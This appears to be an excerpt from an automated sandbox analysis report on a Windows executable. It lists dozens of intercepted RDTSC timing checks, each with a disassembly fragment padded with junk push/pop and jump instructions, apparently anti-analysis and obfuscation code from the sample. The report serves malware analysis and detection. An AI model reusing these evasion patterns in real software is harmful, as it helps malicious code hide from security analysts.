Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB7ED second address: FAB7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB934 second address: FAB94C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9ACD05C376h 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 jnp 00007F9ACD05C36Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABA7D second address: FABA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9ACCBE48C6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABA8C second address: FABA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABE8A second address: FABEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABEA5 second address: FABEAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3372 second address: FB3376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3376 second address: FB337C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB337C second address: FB33B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9ACCBE48D8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F9ACCBE48D0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3837 second address: FB383D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB383D second address: FB3841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB39BD second address: FB39C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB39C3 second address: FB39C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3CD2 second address: FB3CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3E00 second address: FB3E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3E08 second address: FB3E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F9ACD05C372h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3E28 second address: FB3E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9ACCBE48D4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3E44 second address: FB3E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9ACD05C36Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4255 second address: FB425F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9ACCBE48C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB425F second address: FB4299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C374h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F9ACD05C379h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F600FA second address: F600FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F600FE second address: F60102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C9B3 second address: F3C9C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB483C second address: FB4842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB81F6 second address: FB81FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD5C5 second address: FBD5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F9ACD05C366h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9ACD05C36Eh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD5E2 second address: FBD611 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jbe 00007F9ACCBE48CAh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F9ACCBE48D2h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD611 second address: FBD615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD615 second address: FBD61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35F39 second address: F35F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9ACD05C366h 0x0000000a popad 0x0000000b jmp 00007F9ACD05C375h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35F59 second address: F35F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35F5F second address: F35F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC424 second address: FBC442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007F9ACCBE48D9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC442 second address: FBC447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC447 second address: FBC456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9ACCBE48C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC456 second address: FBC45A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC45A second address: FBC467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC467 second address: FBC471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79125 second address: F7916D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007F9ACCBE48C8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 00000014h 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 mov edi, eax 0x00000022 mov edx, dword ptr [ebp+122D3789h] 0x00000028 lea eax, dword ptr [ebp+12480E76h] 0x0000002e mov dword ptr [ebp+122D3731h], eax 0x00000034 nop 0x00000035 pushad 0x00000036 jnp 00007F9ACCBE48C8h 0x0000003c jo 00007F9ACCBE48CCh 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7916D second address: F5F600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jne 00007F9ACD05C36Eh 0x0000000c nop 0x0000000d mov cx, B183h 0x00000011 call dword ptr [ebp+122D1FA7h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79746 second address: F7974A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7974A second address: F7974E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7974E second address: F7977B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 2DC1C1D1h 0x0000000d mov ecx, dword ptr [ebp+122D3A35h] 0x00000013 call 00007F9ACCBE48C9h 0x00000018 push ebx 0x00000019 jno 00007F9ACCBE48C8h 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7977B second address: F79798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79798 second address: F797CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F9ACCBE48D4h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F797CB second address: F797D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F797D5 second address: F797F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F9ACCBE48CEh 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F797F1 second address: F79800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F798E5 second address: F798E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F799CF second address: F799D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79A8F second address: F79A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79B41 second address: F79B6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9ACD05C375h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jbe 00007F9ACD05C368h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A087 second address: F7A0B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9ACCBE48C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 0000001Eh 0x00000011 movsx edi, ax 0x00000014 nop 0x00000015 jnc 00007F9ACCBE48D0h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A0B2 second address: F7A0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A37B second address: F7A385 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A385 second address: F7A38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A38B second address: F7A38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A38F second address: F7A41B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9ACD05C372h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jnp 00007F9ACD05C36Ch 0x0000001c pushad 0x0000001d jmp 00007F9ACD05C36Eh 0x00000022 jmp 00007F9ACD05C378h 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b push edx 0x0000002c jno 00007F9ACD05C368h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9ACD05C376h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A4FA second address: F7A500 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A500 second address: F600FA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9ACD05C368h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop eax 0x00000015 nop 0x00000016 sub edx, dword ptr [ebp+122D3AB1h] 0x0000001c lea eax, dword ptr [ebp+12480E76h] 0x00000022 sub dl, 00000041h 0x00000025 push eax 0x00000026 je 00007F9ACD05C374h 0x0000002c pushad 0x0000002d jmp 00007F9ACD05C36Ah 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 mov dword ptr [esp], eax 0x00000038 stc 0x00000039 jmp 00007F9ACD05C378h 0x0000003e call dword ptr [ebp+122D1E30h] 0x00000044 jmp 00007F9ACD05C376h 0x00000049 pushad 0x0000004a push edi 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d pop edi 0x0000004e push eax 0x0000004f js 00007F9ACD05C366h 0x00000055 pop eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC907 second address: FBC90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBCBDB second address: FBCBDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBCBDF second address: FBCBE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD18C second address: FBD190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1ED0 second address: FC1EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1EE7 second address: FC1EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1EEB second address: FC1EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC245F second address: FC2465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2465 second address: FC246F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC246F second address: FC2473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2473 second address: FC24AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnc 00007F9ACCBE48EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC24AC second address: FC24B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1A1D second address: FC1A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9ACCBE48C6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9ACCBE48D0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27DF second address: FC27E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27E3 second address: FC27F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27F4 second address: FC27FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27FD second address: FC2803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2952 second address: FC295D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9ACD05C366h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC295D second address: FC2962 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2962 second address: FC297F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F9ACD05C373h 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2D8E second address: FC2DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F9ACCBE48C6h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9ACCBE48CCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2DAC second address: FC2DC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C376h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2DC6 second address: FC2DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC62B9 second address: FC62DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9ACD05C379h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC62DC second address: FC62E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5E17 second address: FC5E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACD05C379h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5E34 second address: FC5E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5E3F second address: FC5E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jno 00007F9ACD05C36Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FC8 second address: FC5FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FCC second address: FC5FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FD0 second address: FC5FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FD6 second address: FC5FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FDC second address: FC5FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACCBE48D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0A9F second address: FD0AAB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0AAB second address: FD0AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF493 second address: FCF4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F9ACD05C36Dh 0x0000000a rdtsc
